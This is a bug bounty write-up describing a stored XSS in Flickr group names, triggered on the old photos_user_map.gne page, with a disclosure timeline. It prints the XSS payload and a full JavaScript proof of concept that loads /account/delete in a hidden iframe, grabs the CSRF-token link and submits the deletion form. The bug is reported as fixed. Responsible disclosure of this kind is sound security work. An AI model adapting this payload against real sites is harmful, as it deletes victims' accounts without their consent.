Flickr Stored XSS

Decription

This is a simple bug but I want to write about it anyway. I found this bug
some time ago and the following article is basically my report (literally my report) that I sended to Flickr bug bounty program.

Using gau I’ve found a lot of paths with .gne extension (all the paths that contains .gne seems to be a old version of the flikr pages).

When you have a flickr you a possibility to create a Group and in this groups you can set a name on it, for my primarly tests I put this payload on it </script><img src=x onerror=alert(1)> in the name of the group. also in a lot of other parts of the application too.

After look at every single .gne page that I found, the photos_user_map.gne was the most interesting one because my first reaction was to click in a button that contain the </script><img src=x onerror=alert(1)> (the name of the group) and the XSS was triggered.

After finding the bug I was needing to demonstrate some impact on it, so I create a simple PoC to delete the account of the “victim”, the following code probably is not the most beautiful and maybe have better ways to do it, anyway the important is it worked.

flickr.com have x-frame-options that only allow same origin iframes and since the XSS is in www.flickr.com we can iframe the /account/delete, accessing the content of this iframe, using ifr.contentDocument.getElementByTagName I can get all the hrefs of the page, however the one I need is the one that has h parameter (h parameter is a csrf token).

1
2
3
4
5
6
7
8
9
10
11
12
document.write(`<iframe style='display: none' id=ifr src='https://www.flickr.com/account/delete'></iframe>`);
ifr.onload = () => {
hrefs = ifr.contentDocument.getElementsByTagName('a');
for(var i =0; i < hrefs.length; i++){
if(hrefs[i].href.match('h=')){
hrefs[i].click()
}
setTimeout(()=>{
ifr.contentDocument.getElementsByName('confirm')[0].click();
ifr.contentDocument.getElementsByName('Submit')[0].click()},500)
}
}

After get the real position of the h parameter href hrefs[i].click() do a simulate click that will redirect to www.flickr.com/account/delete?step=1&h=TOKEN.

In this second step we need to mark a checkbox ifra.contentDocument.getElementsByName('confirm')[0].click() and then click in “delete my account” ifr.contentDocument.getElementsByName('Submit')[0].click().

Note: I put a setTimeout there just because I need the page to load before using the ifr.contentDocument.

The final PoC is this one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>

</head>
<body>
<script>

location.href="https://www.flickr.com/photos_user_map.gne?path=&nsid=14815413%40N21&mode=group&lang=en&tag=1#document.write(`<iframe
style='display: none' id=ifr src='https://www.flickr.com/account/delete'></iframe>`);ifr.onload = () => { hrefs =
ifr.contentDocument.getElementsByTagName('a'); for(var i =0; i < hrefs.length; i++){ if(hrefs[i].href.match('h=')){ hrefs[i].click() }
setTimeout(()=>{ifr.contentDocument.getElementsByName('confirm')[0].click();
ifr.contentDocument.getElementsByName('Submit')[0].click()},500)}}";
</script>
</body>
</html>

Video of the PoC:

Timeline

  • April 7th 2022 - report submited
  • April 11th 2022 - first response
  • April 18th 2022 - rewarded $3263
  • April 25th 2022 - bug fixed